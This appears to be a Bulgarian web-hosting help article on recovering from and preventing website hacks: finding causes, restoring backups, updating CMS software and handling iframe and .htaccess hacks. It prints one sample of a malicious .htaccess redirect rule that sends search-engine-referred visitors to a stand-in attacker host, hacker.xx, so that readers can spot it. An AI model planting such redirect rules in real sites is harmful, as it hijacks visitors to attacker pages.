Помощ! Сайтът ми е хакнат. Как да го поправя или предотвратя?
Неприятно е, когато акаунтът Ви бъде хакнат. Правим всичко възможно, за да затрудним хакерите максимално, но за съжаление все пак може да се случи хакер да получи достъп до Вашия сайт. Тогава е важно да се опитате да установите как хакерът е получил достъп до системата Ви.
Това може да е трудна и отнемаща време задача, но причината (източникът) е важна, за да може да се предотврати повторение в бъдеще. Само да изтриете всичко и да възстановите резервно копие не е решението.
Не пускайте отново заразения сайт онлайн, освен ако не сте 100% сигурни, че проблемът е решен и сайтът е безопасен.
Можете сами да деактивирате временно домейна си през контролния панел, в настройките на домейна (или чрез опцията за уебсайтове при Windows хостинг), така че хакнатият сайт да не може да причини повече щети на трети лица. При нужда можете да възстановите по-старо резервно копие чрез Installatron (Linux хостинг) или да използвате нашия модул за резервни копия. Първо изтрийте всички папки и файлове и едва след това възстановете резервното копие, иначе новодобавените и хакнатите файлове ще останат.
Можете също да възложите на нашите експерти да отстранят хака. Тъй като това отнема много време, за съжаление тази услуга не е безплатна.
Кликнете тук за повече информация.
Проучете възможните причини:
- Най-честата причина: използвате скрипт или плъгин, който не е обновен до последната версия, не е сигурен или съдържа грешки. Това може да е и модул например в WordPress или Joomla.
- Предлагате на посетителите възможност за качване на файлове и някой от тях е качил и изпълнил PHP програма.
- Използвате предвидими, твърде лесни пароли или пароли, които могат да бъдат открити например чрез haveibeenpwned.com.
- Компютърът Ви е заразен с вирус, червей или кийлогър, който по този начин открива пароли и потребителски имена, например на FTP акаунта Ви.
- Създали сте формуляр, в който може да се въведе например SQL или PHP код, или формуляр без Captcha, чрез който може да се изпраща спам.
- Прегледайте лог файловете на уеб сървъра (в DirectAdmin в менюто за статистика / логове) за подозрителни неща. Проверете също Litespeed/Apache Usage Log и Backed up Apache logs. Търсете IP адреси от чужди държави и особено POST заявки в комбинация с IP адрес от чужда държава. Често там може да се открие нещо. Чрез сайт като www.whatsmyip.org можете да проверите от коя държава е даден IP адрес.
Как да предотвратя хак:
- Най-важното: погрижете се всички скриптове като WordPress/Joomla винаги да са обновени с най-новите актуализации. Това важи и за плъгините и темите. Актуализациите обикновено се изпълняват лесно чрез Installatron или от самия скрипт.
- Използвайте FTPS вместо обикновен FTP.
- НИКОГА не използвайте СВОЕТО потребителско име и парола в скриптове. Ако все пак е необходимо, създайте отделен потребител за това през контролния панел.
- Използвайте само известни и утвърдени скриптове и ги поддържайте актуални.
- НИКОГА не предлагайте възможност за качване на файлове. Това е изключително опасно.
WordPress, Joomla и други скриптове: погрижете се да е инсталирана най-новата версия!
Важно е WordPress, Joomla и другите скриптове да са актуални. Така по правило могат да се предотвратят хакове. Чрез Installatron (Linux хостинг) актуализациите се инсталират много лесно. Ако не сте инсталирали WordPress, Joomla или друг скрипт чрез Installatron, можете лесно да го импортирате в Installatron и след това да го обновите.
Защита на папки като administrator в Joomla
Важно е папки като /administrator да бъдат допълнително защитени. Тази статия обяснява как.
Iframe хак:
Ако сте жертва на iframe хак, причината често е троянски вирус на компютъра Ви, който сам си осигурява достъп до FTP акаунтите Ви.
- Проверете дали сайтът Ви наистина е хакнат. Това може да стане например чрез сайта UnmaskParasites.
- Използвайте FTPS вместо FTP за вход. FTP изпраща всички данни като четим текст, а FTPS криптира изпратените данни, което затруднява хакерите да се доберат до тези чувствителни данни.
- Сменете веднага всички свои FTP пароли.
- Задайте на всички папки (Linux) chmod 755 и на всички файлове chmod 644 през контролния панел / файловия мениджър или чрез FTP.
HTACCESS хак / .htaccess е променен:
В примера по-долу хакер е променил Вашия .htaccess файл. Така Google и Yahoo ще продължат да индексират сайта Ви нормално, но всички останали посетители ще бъдат пренасочвани към сайта на хакера.
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteRule .* http://hacker.xx/in.html?= [R,L]
Google вижда сайта Ви като атакуващ сайт („Докладван атакуващ сайт!“):
Чрез връзките по-долу можете да получите информация (въведете своето домейн име):
Чрез тази връзка можете да получите информация, но и да подадете заявка домейнът или сайтът Ви вече да не се счита за атакуващ сайт. Уверете се обаче, че сайтът наистина е напълно почистен!
http://www.google.com/support/webmasters/bin/answer.py?hl=nl&answer=45432
- Изберете съответния сайт в таблото на Google Search Console (по-рано „Инструменти за уеб администратори“).
- В съобщението „Части от този сайт може да разпространяват злонамерен софтуер“ кликнете върху „Повече информация“.
- Кликнете върху „Заявка за преглед“.
